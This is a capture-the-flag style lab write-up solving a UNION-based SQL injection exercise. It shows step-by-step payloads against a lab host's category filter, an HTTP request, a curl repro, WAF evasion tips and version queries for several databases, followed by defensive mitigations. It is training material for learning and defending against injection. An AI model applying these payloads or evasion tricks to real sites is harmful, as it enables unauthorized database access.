SQL injection attack, querying the database type and version on MySQL and Microsoft

Lab goal: The product category filter is vulnerable to SQL injection. Use a UNION attack to display the database version string on the page.

🎯 Objective

• Determine the DBMS and extract the version string by injecting through the category parameter of /filter.
• Confirm output-based UNION injection and demonstrate the minimal payload that discloses version.

🧩 Context

• Injection point: GET /filter?category=<value>
• Behavior: Results of the injected query are reflected in the response (classic UNION output).
• DBMS: Indicators + successful payloads confirm MySQL/MariaDB (supports # line comment and @@version).

🛠️ Tooling

• Browser + Burp Suite (Proxy, Repeater).
• Optional: curl for reproducible requests.

🔎 Methodology & Steps

Step 1 — Find the number of columns (ORDER BY)

Start with ORDER BY to discover the result-set width. On this app, -- caused 500s, while MySQL’s # comment worked.

Payload

' ORDER BY 1 #

Increase the index until an error occurs. Failure at index 3 ⇒ 2 columns total.

Evidence

Step 2 — Discover column data types (string vs number)

Test with strings in both columns. If the page renders, both positions accept text.

Payload

' UNION SELECT 'a','a' #

Result: Renders successfully ⇒ both columns are text-compatible.

Evidence

Step 3 — Extract database version

For MySQL/MariaDB, use @@version. Place the version into a visible column and pad the second column with a benign string.

Final Payload

' UNION SELECT @@version,'a' #

Deliver this in the category parameter:

GET /filter?category=Gifts' UNION SELECT @@version,'a' # HTTP/2
Host: <LAB-HOST>
Cookie: session=<YOUR_SESSION>

Evidence

If the version prints on the page, the lab objective is met.

📦 Repro via curl

curl -i \
  -H 'Cookie: session=<YOUR_SESSION>' \
  'https://<LAB-HOST>/filter?category=Gifts%27%20UNION%20SELECT%20@@version,%27a%27%20%23'

🧠 Notes & Gotchas

• Comments: This target required # (MySQL-style). If blocked, try --+ or /*…*/ depending on WAF behavior.
• Column count: Always match column count and compatible types to avoid errors.
• Alternate DBMS checks:
  • PostgreSQL: version()
  • Oracle: banner from v$version or version from product_component_version
  • MSSQL: @@version
• WAF quirks: URL-encode space as + or %0a, and try case flips or inline comments to evade signature checks.

🛡️ Mitigations (for blue teams)

• Use parameterized queries / prepared statements.
• Apply least privilege DB accounts (read-only where possible).
• Centralized input validation (allow-lists for filterable fields).
• Disable verbose DB errors; serve generic messages.
• Add RASP/WAF with SQLi behavioral detection (not just keyword signatures).

📚 Quick Reference

• MySQL version: SELECT @@version
• Column count via ORDER BY n escalation
• UNION shape: must match number and types of original SELECT

Outcome: DB version successfully disclosed via UNION SELECT @@version,'a' #, proving output-based SQL injection on the category filter.